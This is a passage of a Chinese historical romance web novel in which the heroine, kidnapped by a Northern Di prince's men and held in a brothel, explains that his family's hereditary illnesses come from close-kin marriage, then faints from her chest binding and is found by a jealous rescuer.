他这话着实僭越,陈凡已经将手放在了刀柄上。语带警告:
“赫连王子,还请慎言!”
赫连绯笑容一滞,随即笑道;“我不过随口一说,你主子都还没发话,你着什么急?莫不是真被我说中了?”
“你……”
“陈凡。”
陈凡暗道此人的无耻,当即就想拔刀,却被裴谨之抬手阻拦。
裴谨之转身,朝赫连绯拱手一礼,“今日招待不周,改日定当设宴,款待赫连王子。”
说完,不等赫连绯反应,便大步离开了鸿胪寺。
赫连绯的目光落在裴谨之背影上,一脸的若有所思。
这时,一个北狄侍者也寻到赫连绯,上前禀告:“王子,方才萨满派人来报,说已经找到了能救治小王孙的人。”
赫连绯眼睛一亮:“当真?那还等什么,现在就带我去!”
他要亲自去会会这位神医。
-
东市街道,此刻天已经黑透,附近摆摊的小贩也都陆续收摊回家。
陆酉在附近找了一圈,也找人打听了,还是没有沈令薇的消息。
她就如同人间蒸发了一样。
最后,他来到一个馄饨摊子,想着要不要报官,可又担心到时候大张旗鼓,会影响沈令薇的清誉。
正当陆酉一筹莫展的时候,一旁传来摊主一家三口的交谈声。
“等等,虎娃,今儿救你的恩人娘子说了,得喝热水,来,这是娘刚刚温好的。”
孩子接过水碗,小口小口地喝着。
男人蹲在一旁,眼眶还有些红:“当时走得急,都忘了问恩人的姓名,她救了虎娃的命,咱们连报答都不知道去哪里报答。”
妇人压低了声音:“没看到当时那几个北狄人在场?这要让恩人被缠上了,岂不是害了人家?”
男人连忙点头:“你说得对,那几个蛮子一看就不是什么好人,也不知道恩人娘子到家了没有……”
“是呢,不过我瞧着,那几个北狄人后来好像跟了过去,总觉得心里不踏实……”
一旁,陆酉原本只是路过,可在听到这几句话后,脚步突然一顿。
第65章 怎么办?到底要不要跳?
“两位,”陆酉上前,朝着摊主夫妇客气地行了一礼:“敢问,你们口中的那位‘恩人’,可是穿着丁香色衣裙,还挎了个篮子?”
摊主夫妇先是一愣,“没错,这位公子,您认识她?”
“你们方才说,她被北狄人盯上了?”陆酉突然上前,死死地盯着那摊主,清隽的面容此时竟透着几分厉色。
“她最后消失的地方在何处?”
……
一刻钟后,陆酉根据摊主夫妇的指引,来到了距离侯府不远处的一条巷子。
果然,他在角落里找到一个竹篮,附近还散落了一些被踩碎的蔬菜,瓜果。
这下,他几乎可以百分百确定,沈令薇的失踪,应该就是北狄人所为。
可北狄人为何要对一个手无缚鸡之力的妇人动手?陆酉百思不得其解。
心思电转间,他想了很多。
报官?
不妥。
眼下并无实证,若贸然报官反而容易打草惊蛇。更何况,他并不清楚关押的具体位置。
且他只是个翰林院讲侍,身份低微,也没资格直接调兵搜查。
所以眼下,他必须先确认,人到底在不在北狄人手里。
思及此,陆酉起身,雇了一辆马车,径直赶往北狄驿馆。
-
与此同时,皇宫承平阁内,裴惊驰正靠在窗边,望着宫门方向。
他身为协防宫禁的骁骑营少将军,今晚的宴会虽没参加,却也要守在这宫廷的咽喉要道。
“少将军,方才咱们的人发现,那赫连绯已经离开鸿胪寺,赶往了城南方向,走得很急,像有什么要事。”
听到吴七的禀报,裴惊驰眯起眼睛,指关节缓缓在案桌上敲击。
“走了?”
赫连绯此人,看似漫不经心,实则城府极深。
他不会无故离席。
“可知他去往何处?”
吴七道:“看去的方向,应该是碧波巷那边。”
碧波巷,是京城的烟花柳巷汇集之地,他第一次见到赫连绯,就是在那附近的南风馆。
裴惊驰沉吟一瞬,随后朝吴七吩咐:“继续盯着这帮北狄人,若有异动,即刻来报。”
吴七一愣:“少将军这是要……独自出宫?”
裴惊驰已经取下了挂在架子上的外袍,大步朝门口走去。
“我倒要看看,这位北狄的小王子,到底在搞什么名堂。”
片刻后,一道矫健的身影翻身上马,朝城南疾驰而去。
-
却说这头,沈令薇是在一阵悠扬的丝竹声中醒来的。
入目是一间装修豪华的屋子。
红罗帐,云母屏风,一旁的赤金香炉里还燃着名贵的熏香。
不远处是一张圆桌,上面放着酒壶,墙上挂着几幅仕女图,画中的女子姿态撩人。
沈令薇心头一跳。
这地方……这是……南风馆?
意识回笼,她撑着身子坐起身,后脖子还有些痛,低头检查了自己的衣服和裹胸。
还好,都是完整的。她顿时松了口气。
就在她刚起身下床,想查看出口时,门口突然传来一阵脚步声。
沈令薇来不及多想,立马缩回床上,盖上被子,闭眼躺好。
很快,门被推开,继而传来两道熟悉的声音。
是独眼龙和那羽毛老头。
“还没醒?”
“萨满大人,巴图那一下力道不小,估计还得昏一阵子。”
紧接着,便听见那羽毛老头道:“看着她,别出岔子,小王子一会儿要亲自过来。”
“是。”
随后,脚步声远去,门被轻轻关上。
沈令薇又躺了一会儿,确认屋里恢复了安静才敢睁眼。
她起身,脑子里不断消化着刚刚听到的消息。
萨满?小王子?
看样子,她应该是不经意间惹到了北狄的大人物。
不能坐以待毙,必须得逃!
沈令薇打定主意,目光环顾四周,很快落到了窗台上。
窗户半掩着,夜风从缝隙里钻进来,吹动床上的薄纱。
她心神一动,很快想到了一个计策。
……
与此同时,夜晚的街市中,一匹通体雪白的宝马正在街道上极速奔驰。
马上一红衣男子,姿态狂放,不停地抽打着马鞭。
彼时街上还有不少人,被他这骑马的速度吓得纷纷躲避,不少百姓都怨声载道。
“快躲开!马惊了!”
“跑这么快
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,要赶着去投胎吗?”
可赫连绯充耳不闻,只留给众人一个狂傲的背影。
不多时,白马在一处隐秘的后巷停下。赫连绯勒住马缰绳,马儿发出一声长鸣。
守门的小厮见状,立马迎上前来。
“王子殿下,您来了?萨满巫医已经等候多时了,里面请。”
赫连绯将手里的马鞭扔给下人,抬脚准备朝里走去。
然,刚迈上台阶,脚步却猛地一顿。
他突然扭头,朝着三楼某个房间看去,霎时间目光一凛。
下人也顺着他的目光看去,顿时脸色一变。
“不好!人跑了!”
只见三楼最里面那处,有一扇半开的窗户,一缕红色的布条正晃晃悠悠地垂下来,在夜风里轻轻摆动。
赫连绯嘴角勾起一个危险的弧度。
有意思。
他吩咐手下:“以此地为中心,将这座楼包围起来,务必仔细搜查。”
下人得令,很快对南风馆展开摸排。
与此同时,沈令薇正徘徊在二楼的一扇窗台前。感受着窗台到地面的高度,在跳和不跳之间做最后的挣扎。
这里是楼梯拐角处一间废弃的杂物间,也是她从三楼拽着绳子爬下来之后,唯一能找到的落脚点。
可这古代的大楼,即便是二楼,距离地面少说也有三四丈高。
这要跳下去,高低也得整成骨折。到最后说不定还是被捕。
脚下是一片花池,在黑夜中显得深不见底。
她有些恐高,双腿控制不住地有些发软。
就在此时,隔壁走廊里突然传来杂乱的脚步声。
“搜仔细点!一间间搜!别让人跑了!”
沈令薇的心跳几乎要冲出嗓子眼。
怎么办?到底要不要跳?
比起有可能摔断腿,或者落入北狄人手里,她只能二选一。
就在这时,房门被人“哐当”一脚踹开。
“砰!”
“找到了,这个女人在这里!”一个北狄汉子举着火把,当即就闯了进来。
沈令薇被吓了一跳,本就发软的腿一抖,脚下一滑……
“啊——!”
她瞬间失去平衡,整个人直接从窗台上栽了下去……
第66章 这么想我?投怀送抱?
强烈的失重感猛地攫住了她的心脏,沈令薇双眼惊恐地睁大,发出一声绝望的惊呼。
完了!这次是真完了!
她绝望地闭上眼睛,耳边全是呼啸的风声,脑海更是闪过无数画面。
安安,还有三少爷拽着她的袖子,喊她‘沈姑姑’。
还有二少爷,至今也还没完全康复……
若就这么**,是不是会穿越回到现代?又回到那个熟悉的教室?
她已经做好了被假山石刺穿、骨骼碎裂的准备。
然而……
“砰!”
预想中的剧痛并没有袭来,没有树枝穿体,没有骨头碎裂。
她落入一个陌生的怀抱。
巨大的冲击力,带着那人也踉跄了好几步,才堪堪稳住身形。
鼻尖萦绕着一股陌生的气息,像草原的风,还混合着一丝淡淡的酒香。
沈令薇心神狠狠一震,思绪在瞬间被悉数抽离。
睁开眼,月光下,她看到一张放大的俊脸,狐狸眼微挑,唇角天生上扬,还带着一丝似笑非笑的弧度。
是他?
那个南风馆的细作?
沈令薇杏眼猛地瞪大,整个人如遭雷击,怔在了当场。
是了,他是北狄细作,应该跟**自己的独眼龙他们一伙的。
沈令薇一颗心也沉到了谷底。
赫连绯也没想到,会再次遇见沈令薇。
月光下,女人杏眸圆睁,眼底残存着惊恐,水汽氤氲。红唇微微张大,温热的气息正喷洒在他胸口,酥酥麻麻的,撩拨着心底那股不安分的燥热。
因为挣扎坠落,沈令薇那身丁香色的衣裳略显凌乱,领口散开了些许,胸前一大片雪肤晶莹剔透,在月光下泛着诱人的光泽。
赫连绯喉结微微滚动了一下,眼底笑意渐浓。
“是你?”
“这么想我?从楼下跳下来投怀送抱?那我今晚可得好好表现。”
他笑得肆意。
沈令薇反应过来,忙在他怀里挣扎。
“放我下来。”
赫连绯没放,还搂紧了些,抱着她就往南风馆后门走。
“不放。”
“换个地方,好好聊聊。”
赫连绯不由分说,不顾沈令薇的挣扎,径直将她带到了三楼厢房。
还是先前那间,屋子已经被人收拾过,被搅在一起的红纱帐已经不见了影子,原本抵在窗边的桌子也被放回了原位。
沈令薇有些泄气。
折腾了半天,还是没能逃掉。
她脑海急速运转,试图跟对方商量:“这位公子,我就是个普通的妇人,原也不知哪里得罪了您,公子一看就是贵人,又何必跟我一个手无缚鸡之力的妇人过不去?”
她顿了顿,又道:
“若是公子肯放了我,我回去定当每日烧香,保佑公子长命百岁,福寿安康。”
赫连绯听完,挑了挑眉。
“确定不是烧香诅咒我?”
他目光在沈令薇身上一寸寸刮过,看到她平直的胸口,还有腰身,眼里流露出不满。
他往前迈了一步,沈令薇退后一步。
他又进一步,沈令薇又退一步。
直到后背抵上了床柱,退无可退。
赫连绯单手撑在她身侧的床柱上,低头看着她,眼底闪过一种复杂的光芒。
“普通妇人?”
他目光从她的脸滑到脖颈,又慢悠悠地收回来。伸手欲触碰沈令薇的脸颊。
“普通妇人,会让萨满他们追着不放?”
沈令薇心头一紧,面上却不动声色:“我也不知他们为何抓我,是你们找错人了……”
“是吗?”
赫连绯的手并没真正贴上她的脸颊,而是悬在半寸的位置。
“可能从死神手里抢人的,萨满都没见过,会是普通人。”
沈令薇胸口一紧。心道:果然,是今天在街上救治那小孩暴露了。
她深吸一口气,尽量放平了语气:“那孩子只是暂时闭气,算不得死,我不过是恰好见过村里的老人用这个法子,照猫画虎罢了。”
她隐隐猜到这帮人**自己的目的,但她不想跟北狄扯上哪怕一丝一毫的关系。
哪怕现在已经议和。
赫连绯似猜到她的意图,眼底的光芒渐渐变得复杂。
他沉默了一会儿,忽然开口:“我有个侄儿。”
沈令薇眼皮子一跳。
只见赫连绯的语速变了,不再是方才那副玩世不恭的调子,而是……多了几分说不出的沉重。
“他才四岁,生下来就有这个病。不能吃奶,不能吃米面,只能
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喝点羊汤吊着命。草原上的巫医都说,这是天狼神诅咒,活不过五岁。”
他目光灼灼地看向沈令薇。
“可你今日救的那个孩子,症状和他一模一样。”
沈令薇心头一震。
她看着赫连绯,那张妖孽般的脸上,此刻没有了笑意,只剩下一片幽深。
“你救活了他。”
赫连绯一字一句道:“所以,你是不是也能救本王那个侄儿?”
最后一句话,像一块巨石投入深潭,在沈令薇心头砸出巨浪。
救,还是不救?
这是一个根本无法回答的问题。
救,意味着她要跟这群喜怒无常、手段狠厉的北狄人扯上关系,甚至可能被带离大周,从此与安安天各一方。
不救,看眼前这男人的架势,他绝不会轻易放过自己。
沈令薇不傻,看眼前这人的气度,容貌,身份定然不低。
再联想到听说最近北狄人来议和,领头的正是北狄王室的小王子,赫连绯。
他的身份,已然呼之欲出。
沈令薇强迫自己冷静下来,垂下眼帘,掩去眼底的惊涛骇浪。
过了半晌,才挤出一句话来。
“若我说我真的不会治病,你信吗?”
赫连绯一副‘你看我信吗’的表情,凑近了几分,薄唇几乎要贴到沈令薇耳朵上,眼神逐渐变得危险。
“你当本王是傻子吗?”
他装都不装了,直接用上了‘本王’。
“就算你侥幸懂得如何救治,但你知道那孩子不能吃五谷杂粮,这些难道……也是侥幸?”
沈令薇心脏狠狠一沉。
看来,无论怎样辩解,在这个精明得如同猎鹰一样的男人面前,都显得苍白。
“想来你也猜到了本王的身份,”赫连绯语气缓和了几分,但依旧带着骨子里的矜贵与王族威严。
“只要你肯答应救人,等到了北狄,黄金、珠宝、封地,你想要什么,本王都可以给你。”
赫连绯自以为开出的条件已经很诱人,沈令薇应该没有理由拒绝他。
可,沈令薇最终只叹了一声。
“小王子的报酬确实丰厚,但很抱歉,您侄儿这种情况,我真的无法医治。”
赫连绯的脸色瞬间沉了下来。
第67章 是你们自己,害了他们
赫连绯嘴角的笑容凝固住,紧接着,便听沈令薇红唇张合,说出了令他颠覆三观的事。
“这是从娘胎里带出来的缺陷,药石无医。唯一保命的法子,就是终生控制饮食,一口米面都不能碰!”
赫连绯眉头皱起,狐狸眼中闪过一丝危险。
但他并没有着急向沈令薇动手,而是伸手抚上沈令薇的脖子,大拇指摩挲着她脖子上的皮肤,语气暧昧又危险。
“女人,你可知欺骗本王的下场?”
“若本王说,无论用什么法子,必须要你将他治好呢?”
他离得太近,劲瘦的身躯几乎整个将沈令薇笼罩。
沈令薇屏住呼吸,脑海里在做无人的交战。
她知道,今天能不能顺利离开这南风馆,成败就在此一举。
大概是在极致的紧张和危险下,她反而生出了一丝镇定。
沈令薇抬头,目光直视他的眼睛:
“那小王子不妨先告诉我,草原上的巫医怎么说?王族之中,像这样的孩子又有多少?”
赫连绯手上的动作微微一顿,那双总是含情带笑的狐狸眼倏地沉了下来,仿佛被戳中了心底最隐秘的痛处。
良久,他撤回手,周身的危险撤去大半。
“在我祖父那一辈,王室出生的婴孩中,大约十个里会有三个带有残缺。到了我父王这一辈,变成了十之二三。而近些年来……”
他语气没了方才的轻佻,带上了一丝沉痛。
“……巫医说,是天狼神降罪,因为我们杀伐太重,血统不纯。”
“可本王不信!”
像突然想起了什么,赫连绯咬紧牙关,“我王姐是这草原上最善良的女子,她连一只落单的孤狼都不忍心伤害,凭什么要遭受这种报应?”
“她已经连续夭折了两个孩儿,最后这个,是她拼了半条命才留下的骨血!”
他目光灼灼地盯着沈令薇,眼底满是愤怒:“本王不信命,更不信什么诅咒,如果神明真要降罪,也该降到那些刽子手身上,何苦去折磨一个幼童?”
从他的短短数句,沈令薇拼凑出赫连绯的另一幅画面。
一个温柔的女子,在草原上一次次怀孕,一次次失去孩子。
为了护住姐姐最后一丝希望,不惜以身犯险,潜入大周的偏执弟弟。
原来,这个看似乖张,满身风流的异域王子,竟也有一块触碰不得的软肋。
沈令薇心里涌起一股说不清的滋味。
“你王姐和姐夫,是什么关系?”
赫连绯一愣:“什么?”
沈令薇重复道:“你王姐的丈夫,是她什么人?”
赫连绯皱眉:“是我王叔的儿子,草原上的规矩,只有最尊贵的姓氏互相联姻,才能保证天狼神血脉的不被玷污……”
“你问这作甚?难不成这种病,还与本王姐夫的身份有关。”
“当然有关系,关系可大了去。”沈令薇道。
“因为这根本就不是什么恶灵的诅咒,而是你们北狄王室自己造的孽!”
赫连绯瞳孔一缩:“你说什么?”
“我问你,你们北狄王室,为了保持所谓的‘血统纯正’,是不是世代都讲究至亲联姻?表兄妹,甚至是堂兄妹结为夫妻?”
赫连绯理所当然的回答:“那是自然。”
“那就是了,”沈令薇双手一摊,“所谓的神明降罪,不过是违背人伦天理的必然代价!
人体的血脉中,往往藏着看不见的隐疾。血缘越近的男女结合,就像是将两株带有同样病根的毒草种在一起,生下的孩子,就会把这些病根放大十倍、百倍!轻则生出死胎,重则身患怪病、痴傻、早夭!”
赫连绯浑身一震,那双素来含笑的狐狸眼里,第一次出现了剧烈的震荡。
他脑海中不受控制地闪过那些王室死去的,残缺的婴孩。数量每年都在攀增。
所以,不是恶灵,也不是诅咒?
竟是他们引以为傲的‘血脉’?
赫连绯陷入巨大的震撼中,僵在原地一动不动。
良久,他才开口,声音沙哑得像砂纸。
“所以……你的意思是……是我们自己,害了
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他们?”
沈令薇点头:“若想从根源上杜绝这种悲剧,救你姐姐、救你们北狄未来的子孙,唯一的办法,就是彻底废除近亲通婚的陋**,严禁五服以内的血亲结为夫妻。”
赫连绯后退一步,妖冶的脸上交织着痛苦,和不敢置信。
“这不可能!数百年了,草原王庭,世代皆是如此……世人皆认为,天狼神的血脉高于一切!”
那些王庭的贵族、掌权的长老,还有那些固执的萨满巫医,他们的思想早已根深蒂固!
若此番告诉他们这个消息,定会撕了他。
可若是不说……
赫连绯猛地抬头,视线牢牢地锁住她:“本王如何相信,你说的都是真的?”
沈令薇无所畏惧,迎上他的目光:“王子心里已经有答案了不是吗?”
“若是不信,王子可以仔细观察,那些底层的普通牧民,他们没有资格讲究什么血统纯正,只能与不同部落、不同姓氏的人通婚。可他们生下的孩子,是不是大多都在草原上肆意奔跑,健壮如牛?”
“而你们王室出生的痴傻,早夭子的数量,是不是要多得多?”
赫连绯的脸色已经不足以用难看来形容了。
确实,到了他这一代,父汗先后迎娶了四位大妃,先后生下过十三个孩子,**九个。
如今活下来成年的嫡皇子,仅剩两人。外人只道这两位王兄身份尊贵、深居王帐,不屑于抛头露面。
可实际上,他大哥天生隐疾,不能人道,二哥患有严重的癫痫之症,心智如同稚童。受了刺激还会发狂咬人。
放眼整个北狄王族,他是王室唯一一个身体强健,心智完全正常的王子!
只因他的生母是个西域舞姬,当年由于姿容出众被父汗相中,强掳回王帐,纳作了侧妃。
幼时,赫连绯因为‘血统不纯’的出身,在王庭中受尽了**和白眼,是他的阿姐一直保护他,才得以顺利长大,并成为父汗最受宠的小儿子。
如今想来,自己这身‘外族血脉’,竟保全了他!
第一卷 第68章 他伸手解开她的衣襟
“所以,真的没法治吗?”
过了好久,赫连绯才消化完这个冲击,喃喃出声。
沈令薇叹了一声,语气缓和了几分,“虽然无法痊愈,但只要按我开的食疗方子严格控制饮食,再配合针灸疏通经络,保小世子平安长大、像常人一般生活,还是做得到的。”
“至于以后,只要将来不再与王室近亲通婚,便能彻底截断这厄运。”
听到能保住侄儿的性命,赫连绯紧绷的神经终于松懈下来。
“好,若真能如此,本王便欠你一个人情。”
沈令薇摆摆手,准备让他赶紧上笔墨,写完方子还要赶紧回去。
结果就在这时,她突然感觉一阵强烈的不适。胸口闷得发慌,像是被一块巨石死死压住,连一丝空气都吸不进去。
“喂……你怎么了?”
察觉沈令薇脸色不对,赫连绯立马紧张起来,上前扶住她。
“我没……”
最后一个‘事’字还没说完,她眼前突然一黑,身子往前栽倒过去。
“喂!醒醒……”
赫连绯眼疾手快,一把接住她。
“来人,去叫萨满过来!”赫连绯厉声朝着外面嘶吼,眼底带着惊慌。
不消片刻,那羽毛老头,也就是萨满,提着药箱走了进来。
他伸手搭上沈令薇的脉搏,片刻后,脸色变得古怪起来。
“怎么样?”赫连绯焦急询问。
“这……”萨满看了看床上昏迷的沈令薇,又看了看赫连绯,欲言又止。
“说!”
萨满深吸一口气,低声道;“……应该是胸口缠了东西,缠得太紧了,压住了气息,憋的。”
赫连绯浑身一震。
是了。他上回见过这女人的真实身材,前凸后翘,曲线惊人。
他喉咙滚了一圈,朝萨满吩咐:“……你先退下,没有本王的命令,任何人不得进来。”
萨满如蒙大赦,连忙退了出去,还贴心地关上了房门。
屋内重归死寂,赫连绯视线落在沈令薇紧闭的领口上,身体某处涌上一股异样。
“你这女人……还真是奇怪。”
正常情况下,这样的身材可是极为傲人的资本,这要在草原,还不知道会被多少勇士求娶。
可她倒好,偏偏把自己裹成个粽子。生怕被人瞧见。
赫连绯摇头,伸手就去够沈令薇的衣襟。
‘啪嗒’一声,沈令薇腰间的带子被他修长的手指挑开。衣襟向两侧一剥,露出里面那层裹得严严实实,把身体都勒出红痕的裹胸布。
那布料被绷到了极致,将女人那隐藏的傲人沟壑勾勒得愈发惊心动魄,布料的边缘,失去衣物遮挡的肌肤,像剥壳的鸡蛋一样,莹润、细腻,透着令人目眩的白。
赫连绯霎时一僵,那双向来狂傲不羁的眸子如同被定住。
……
与此同时,裴惊驰也策马抵达了南风馆。
夜色已深,可南风馆门前依旧灯火通明,丝竹声隐隐飘出,夹杂着男男女女的笑语。
几个衣着花哨的老男女在门口招揽客人,浓妆艳抹,香气扑鼻。
见裴惊驰下马,一个涂脂抹粉的男老鸨立刻迎了上来。
“哎哟,这位爷面生啊,第一次来?咱们这儿什么风格的都有,清倌人、红倌人,还有刚来的西域小倌,包您满意……”
裴惊驰扫了眼老鸨想要攀上来的手,那老鸨顿时就有种浑身冰凉的感觉。
这气息……太熟悉了。
是军中男子的味道。
老鸨花了不到两秒钟,便猜到了裴惊驰的身份。当即要给他点牌子。
裴惊驰目光清冷地扫了一眼,掏出一锭银子,“要间上房,清净点的。”
老鸨拿了钱自然好办事,立刻吩咐人将他往楼上引。
裴惊驰目光不动声色地扫过全场。一楼和二楼看起来都很正常,并未发现什么疑点。
最终,老鸨将他带到二楼的一处房间:“公子,这里是二楼最好的包房,里面请。”
裴惊驰却站着没动:“怎么,本公子给了你这么多银子,连三楼都上不去?”
老鸨面皮一僵,很快恢复自然,赔笑道:“哎哟公子,哪儿能啊,只不过……今儿三楼被人包下了,贵客不让打扰,还请您体谅则个,这也是咱楼里的天字号包房,最是清净,一会儿奴家给你多安排几个活好的过来,保准让公子满意,嗯?”
裴惊驰目光微微一动,面上却不动声色。
他淡淡地‘嗯’了一声,吩咐老鸨退下。
不一会儿,老鸨便领了五六个风格各异的男子走了进来。
风骚的,斯文的,冷酷的,还有糙汉。
“这个是咱们的‘赛潘安’,这个是‘小温侯’,这个是‘玉面郎君’……公子您看上哪个,或者都留下也行……”老鸨还在热情地介绍。
裴惊驰额头青筋猛地一跳,强忍着不适,随手点了两人留下,将老鸨打发走。
门一关,两人便挂上职业化的笑容,扭着腰就要上前。
“别动。”裴惊驰一声呵斥。
二人双双脚步一顿,不明所以。
裴惊驰从怀里摸出一大锭银子,“爷喜欢看人蒙着眼睛弹奏,你们两个,谁弹得好,弹得久,这银子便归谁。”
二人只愣了不到一秒钟,便火速掏出丝帕,将眼睛蒙了个严实。
多犹豫一秒钟,就是对银子的不尊重。
“爷,奴最擅吹笛,这就给您吹一曲。”
“奴的琵琶是这楼里弹得最好的……”
裴惊驰满意地点头:“记住,爷没叫停,你们便不许停下,更不许摘下眼罩。谁若是中途停了曲子,或者奏不好……”
他不知从哪儿掏出来一把匕首,拿在手里耍了个漂亮的剑花,最后稳稳地锭在那实木圆桌上。
“铮!”
二人被吓得一抖,忙不迭地齐齐保证:“爷放心,规矩我们都懂,绝不敢坏了爷的兴致……”
很快,屋里响起靡靡之音。
裴惊驰扫了二人一眼,不再耽搁,身形如同捷豹,悄无声息地闪身出去。
果然,在三楼走廊尽头的一间包房外,立着两个随从。两人虽穿着中原人的衣裳,但那如同铁塔般魁梧的身材,下盘稳扎稳打的站姿,裴惊驰一眼便能判断出,这是北狄人。
他眼神一凛。
赫连绯果然在这儿!
第一卷 第69章 敢碰她?你活腻了!
裴惊驰很快做出权衡。
眼下不清楚赫连绯到底掩藏着什么阴谋,不能硬闯。
那就只能……
这时,屋子的门打开,裴惊驰立马闪身,躲在了廊柱后面。
只见萨满走了出来,朝门口的侍卫低声吩咐:“招子放亮些,守好这扇门。”
守卫点头称是,其中一人低声问道:“主子这回是要动真格?”
萨满浑浊的眼睛一闪,一脸的意味深长:“那女人对主子很重要,一会儿里头药效上来了,不管弄出多大动静,谁也不许进去败了主子的兴致!听懂了吗?”
两个守卫心领神会,齐齐点头。
萨满又嘱咐了几句,这才转身离开。
一旁,躲在廊柱后的裴惊驰听闻,不禁眉头紧皱。心头涌出一股淡淡的不安。
他看了眼萨满消失的方向,很快计上心头。
十分钟后,裴惊驰顶着一身酒气,醉醺醺地从廊柱后晃出来。
“呃……好酒……再、再来一壶……”
两个守卫立刻警惕起来,手按上刀柄,“站住!此处不许靠近!”
裴惊驰像是没听见,继续晃晃悠悠往前,嘴里还在胡言乱语:
“你、你们是谁?嗝……这、这路怎么还晃呢……”
两守卫见他是个醉鬼,满脸嫌弃,伸手就要推他:“走开!这里不是你该来的地方……”
裴惊驰身体‘恰到好处’的一个踉跄,整个人朝左边那个守卫扑过去。
“你这醉鬼……”那守卫嫌恶地躲开,刚要用力将他推开,结果后脖子骤然一痛。双眼一翻,身子便瘫倒下去。
一旁的守卫意识到不对劲,连忙拔刀:“有……”
一个字还没喊出口,就见原本醉酒的裴惊驰步伐一滑,身形如鬼魅般欺身上前,左手如铁钳般捂住那人的嘴。
随后又是一记手刀,那侍卫也猛地一僵,瞬间失去意识。
裴惊驰松开手,任由他软倒在地。之后悄无声息地将门推开一条缝,朝里面看过去。
这一看,裴惊驰差点怔在当场。
首先映入眼帘的,是一张奢靡的红木拔步床,此刻上面躺了一名女子,衣襟半敞,露出大片雪白的肌肤。
赫连绯正坐在床头,一只手抚在那女子身前,上半身压得很低,像是在吻上去……
裴惊驰猛地移开目光,暗道赫连绯的荒淫。
可下一秒,他余光掠过一截丁香色的布料,裴惊驰的目光倏地顿住!
丁香色……
他记得,某个女人就尤爱穿丁香色,明明生得那般模样,却偏偏要把自己裹得严严实实。
她还说是为了保命。
鬼使神差的,他又回头去看了一眼,结果这时,赫连绯手上的带子刚巧解开一个结,抬起上半身。
借着缝隙,裴惊驰看到小半张脸。
蛾眉微蹙,不知是睡着了还是昏迷,杏眼紧闭着。
不是沈令薇又是谁?
裴惊驰脑子里“嗡”的一声。
下一秒,滔天的怒火从胸腔里炸开。
“砰!”
裴惊驰当即也顾不上隐藏,火速一脚踹开房门,手里的匕首寒光一闪,直奔向赫连绯面门而去。
这头,赫连绯终于打开了一个结,正准备松口气,后背突然窜起一股寒意。
他身体先于意识行动,头一偏,躲开了裴惊驰的袭击。但也狼狈地跌下了床榻。
“铮!”
裴惊驰的匕首贴着他的头皮,狠狠插进了身后的床柱,比成人手臂还要粗的柱子,瞬间裂开。
一切发生得太快,赫连绯惊魂未定地撑起身,待看清来人后,气急败坏的怒吼:
“裴惊驰!你抽什么风!”
裴惊驰没说话,目光落在床上,瞳孔骤然一缩。
烛火下,沈令薇正毫无知觉地躺在上面,衣襟已经悉数敞开,露出被解开了一半的裹胸布,那一对失去束缚的丰软,像两只雪白的兔子一样,正随着她微弱的呼吸,起伏的晃眼。
像极了被人狠狠蹂躏过后的惨状。
裴惊驰拳头捏得‘咔咔’作响,眼底的杀意翻涌成实质。
他猛地拔出床柱上的匕首,直逼赫连绯的咽喉。
“你敢碰他?”
“活腻了!”
扑面而来的杀意,赫连绯瞳孔骤缩,身体猛地往后一仰,堪堪避开那足以致命的一击。
身后的屏风被撞响,发出‘哐当’一声巨响。
“事情不是你想的那样,你听我解释!”
赫连绯一边狼狈逃窜,一边解释。
可裴惊驰怒火正盛,恨不得一刀劈了他,只相信自己眼睛所看到的。
“胆敢碰她,那就该付出代价!”
他身形如电,手里的匕首划出了残影,倏地朝赫连绯逼近。
赫连绯瞅准一个档口,猛地朝门口扑过去。
“来人……要杀人了!”
“砰!”
身后一股巨力来袭,他被踹飞出去,狠狠地撞在门板上,再滑下来。
“咳咳……”
裴惊驰这一脚不轻,赫连绯已经受了内伤,嘴角溢出鲜血来。
裴惊驰像一头燃烧着怒火的野兽,一步一步朝他走来,那双平日带着三分笑意的桃花眼里,此刻满是嗜血的猩红。
赫连绯的肺都要气炸了!
这人他妈的,不讲武德。上来就要杀他。
见裴惊驰又要过来,赫连绯一边捂着血气翻涌的胸口,一边急声解释:
“你误会了,我……咳咳,我是在救她!”
裴惊驰脚步未停。一副‘你看我信你吗’的表情。
赫连绯伸手指着床上的沈令薇,气得怒吼:“没看见她胸口裹着的那玩意儿吗?我真的是在帮她!”
裴惊驰脚步一顿,眼睛微微眯起。
赫连绯趁机道:“她刚才自己晕过去了,我替她找了大夫,说是长期压迫胸口导致气息不畅,不信,你现在就可以去叫大夫来查看!”
裴惊驰眉头皱了皱,扭头,目光重新落在沈令薇身上。
她依旧昏迷着,胸口那层解开的裹胸布下,确实能看到一片青紫的勒痕,有的地方都已经发紫。
那是长期紧勒留下的痕迹。
裴惊驰目光微沉,心底涌上一股异样。
这傻女人,莫不是真把自己给勒晕了?
“即便如此,你也不该碰她。这里是中原,不是你们北蛮。”裴惊驰收了匕首,声音却依旧充满了敌意。
他走上前,拉住被子盖在沈令薇的胸口,朝赫连绯道:“这里没你什么事了,你可以滚了!”
赫连绯捂着胸口,满脸讥笑:“叫本王子出去,难不成你来替他解?你也是个男人,跟我有什么区别?还是说,你想趁机占她便宜?”
裴惊驰倏地回头,眼神锐利。
赫连绯也不甘示弱,毫不退让。
一时间,火药味十足,两人对视的眼神中,像是有电流火花在‘噼啪’作响。
第一卷 第70章 谁干的?
与此同时,京城街头。
雨势渐大,冷湿的空气粘在皮肤上,像是一层揭不掉的寒茧。
一辆黑漆马车在夜色中疾驰,车轮碾过青石板,发出急促的声响。
裴谨之坐在车内,脸色阴沉得能滴出水来。那双搭在膝上的手,也紧攥在一起。
一个时辰过去了,人还没找到。
这种脱离掌控的虚无感,自亡妻过世后,他从未有过。
“侯爷。”
陈凡的声音在外响起。
一只大手撩开马车帘子,露出裴谨之那张略显焦灼,且隐忍着怒意的脸来。
“可有消息了?”
陈凡的衣衫已经被雨水淋湿,闻言禀告道:“属下方才遇见了陆大人,他也查探到消息,沈掌事最后是被三个北狄人绑走的,不过他去了驿馆查探,驿馆并没有人。”
裴谨之眸光一沉。
北狄人怎会盯上她一个深居简出的内宅妇人?
紧接着,陈凡说出打探到的消息:“属下还打听到,白日里沈掌事在街头救了个受惊厥的小儿,法子奇诡,且当时便有几个北狄人在旁窥伺。陆大人猜测,那些人多半是瞧中了沈掌事的医理本事。”
裴谨之眼底墨色翻涌。
他想起了那个女人也曾用特殊的法子救治过恪儿。
难道这北狄一行中,有人也得了什么见不得人的怪病?
思及此,他立马朝陈凡吩咐;“速去查探,看赫连王子是否还在宴会上。”
陈凡领命,很快翻身上马,前去打探消息。
